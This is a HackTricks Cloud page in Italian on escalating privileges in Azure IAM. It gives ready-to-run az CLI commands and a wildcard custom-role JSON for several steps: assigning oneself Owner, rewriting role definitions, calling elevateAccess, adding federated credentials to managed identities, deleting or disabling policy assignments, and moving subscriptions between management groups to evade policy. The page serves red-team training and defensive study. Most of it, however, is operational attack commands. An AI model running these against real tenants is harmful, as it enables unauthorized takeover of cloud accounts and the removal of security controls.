Az - Azure IAM Privesc (Authorization)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Azure IAM
Per maggiori informazioni consulta:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Questa autorizzazione consente di assegnare role a principal su uno scope specifico, permettendo a un attacker di scalare i privilegi assegnandosi un role piĂš privilegiato:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Questa permission permette di modificare le permissions concesse a un role, permettendo a un attacker di escalate privileges concedendo piĂš permissions a un role che ha assegnato.
Crea il file role.json con il seguente contenuto:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Quindi aggiorna i permessi del ruolo con la definizione precedente chiamando:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Questa autorizzazione consente di elevare i privilegi e di assegnare permessi a qualsiasi principal sulle risorse Azure. Ă pensata per essere assegnata agli Entra ID Global Administrators in modo che possano anche gestire le autorizzazioni sulle risorse Azure.
Tip
Penso che lâutente debba essere Global Administrator in Entra ID affinchĂŠ la chiamata elevate funzioni.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Questa autorizzazione permette di aggiungere Federated credentials alle managed identities. Ad esempio, concedere lâaccesso a Github Actions in un repo a una managed identity. Poi, consente di accedere a qualsiasi managed identity definita dallâutente.
Esempio di comando per concedere lâaccesso a un repo Github a una managed identity:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un attaccante con il permesso Microsoft.Authorization/policyAssignments/write o Microsoft.Authorization/policyAssignments/delete su un management group, subscription, o resource group può modificare o eliminare le assegnazioni di policy di Azure, potenzialmente disabilitando restrizioni di sicurezza che bloccano operazioni specifiche.
Questo consente lâaccesso a risorse o funzionalitĂ che in precedenza erano protette dalla policy.
Eliminare unâassegnazione di policy:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Disabilitare unâassegnazione di policy:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Verifica le modifiche:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Un attacker con il permesso Microsoft.Authorization/policyDefinitions/write può modificare le definizioni di policy di Azure, cambiando le regole che controllano le restrizioni di sicurezza in tutto lâambiente.
Ad esempio, una policy che limita le regioni consentite per la creazione di risorse può essere modificata per consentire qualsiasi regione, oppure lâeffetto della policy può essere cambiato per renderla inefficace.
Modificare una definizione di policy:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Verifica le modifiche:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Un aggressore con il permesso Microsoft.Management/managementGroups/write può modificare la struttura gerarchica dei management groups o creare nuovi management groups, potenzialmente eludendo policy restrittive applicate a livelli superiori.
Ad esempio, un aggressore può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.
Crea un nuovo management group:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Modificare la gerarchia dei management group:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Verificare le modifiche:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Un attacker con il permesso Microsoft.Management/managementGroups/subscriptions/write può move subscriptions between management groups, potenzialmente evading restrictive policies spostando una subscription in un gruppo con politiche meno restrittive o assenti.
Spostare una subscription in un diverso management group:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Verifica le modifiche:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

